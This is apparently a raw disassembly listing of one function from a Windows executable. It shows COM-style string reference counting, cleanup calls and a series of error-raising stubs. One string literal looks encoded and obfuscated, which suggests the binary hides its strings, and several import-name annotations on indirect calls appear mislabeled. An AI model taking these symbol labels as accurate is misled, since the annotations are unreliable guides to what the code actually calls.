lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x210]
call fcn.14004beb0
nop
mov rdx, qword [rax]
lea rcx, [rsp + 0x30]
call fcn.14005a5c0
nop
mov rdx, qword [rbp + 0x210]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063946
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x140063961
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdi, qword [rsp + 0x30]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063fcd
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x68], rax
mov rdx, rdi
lea rcx, [rbp - 0x68]
call fcn.140031e00
test al, al
jne 0x1400639a2
mov rdx, rdi
lea rcx, [rbp - 0x68]
call fcn.140031070
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063fd8
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x10], rax
lea rdi, str.I3VxWk5hP25uUXJtcGMsY3ZjHi1nbGdyHiNx
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.140031e00
test al, al
jne 0x1400639fa
mov rax, r14
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400639e0
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063ec3
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x108], rax
mov rcx, qword [rbp + 0x18]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xf0], rax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x220]
call fcn.14004beb0
nop
mov rdi, qword [rax]
mov rbx, qword [rbp - 0x10]
lea rcx, [rbx - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xf8], rax
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x218]
call fcn.14004beb0
nop
mov r9, qword [rbp - 0x68]
mov r8, rdi
mov rdx, qword [rax]
lea rcx, [rbp + 0x108]
call fcn.140025c80
nop
mov rdx, qword [rbp + 0x218]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063ab0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x220]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063ad1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rbp + 0x228]
mov qword [rbp + 0x358], rax
mov r15, qword [rbp - 8]
lea rcx, [r15 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x100], rax
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x228]
call fcn.14004beb0
mov rdi, rax
lea rax, [rbp + 0x118]
mov qword [rsp + 0x60], rax
mov rsi, qword [rbp + 0x108]
add rsi, 0xffffffffffffffe8
mov rcx, rsi
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x118], rax
mov r12, qword [rbp]
lea rcx, [r12 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x110], rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x230]
call fcn.14004beb0
nop
mov r8, rdi
lea rdx, [rbp + 0x118]
mov rcx, rax
call fcn.14004f7f0
lea rax, [rbp + 0x238]
mov qword [rbp + 0x358], rax
mov rcx, qword [0x140223760]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x120], rax
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x238]
call fcn.14004beb0
mov rdi, rax
lea rax, [rbp + 0x130]
mov qword [rbp + 0x48], rax
mov rcx, rsi
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x130], rax
mov r13, qword [rbp + 8]
lea rcx, [r13 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x128], rax
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x240]
call fcn.14004beb0
nop
mov r8, rdi
lea rdx, [rbp + 0x130]
mov rcx, rax
call fcn.14004f7f0
nop
mov eax, r14d
lock xadd dword [rsi + 0x10], eax
sub eax, 1
jg 0x140063c2c
mov rcx, qword [rsi]
mov rax, qword [rcx]
mov rdx, rsi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
lock xadd dword [rbx - 8], eax
sub eax, 1
jg 0x140063c48
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063c67
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063c87
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x140063c97
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov eax, r14d
mov rdx, qword [rbp + 0x248]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063cb5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
mov rdx, qword [rbp + 0x250]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063cd3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
mov rdx, qword [rbp + 0x258]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063cf1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
mov rdx, qword [rbp + 0x260]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063d0f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x18]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063d2e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063d4d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
mov rdx, qword [rsp + 0x68]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063d69
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
lock xadd dword [r13 - 8], eax
sub eax, 1
jg 0x140063d86
mov rcx, qword [r13 - 0x18]
mov rax, qword [rcx]
lea rdx, [r13 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
lock xadd dword [r12 - 8], eax
sub eax, 1
jg 0x140063da6
mov rcx, qword [r12 - 0x18]
mov rax, qword [rcx]
lea rdx, [r12 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
mov rdx, qword [rsp + 0x58]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063dc2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
mov rdx, qword [rsp + 0x50]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063dde
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
mov rdx, qword [rbp - 0x48]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063df9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
mov rdx, qword [rsp + 0x38]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063e15
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063e34
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x50]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063e53
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
lock xadd dword [r15 - 8], eax
sub eax, 1
jg 0x140063e70
mov rcx, qword [r15 - 0x18]
mov rax, qword [rcx]
lea rdx, [r15 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
mov rdx, qword [rsp + 0x40]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063e8c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x340]
mov rdx, qword [rdx]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r14d
sub r14d, 1
jg 0x140063eaf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rsp, 0x3f8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80070057
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
lea rcx, str.current_path__
call fcn.140066640
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
int3
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
int3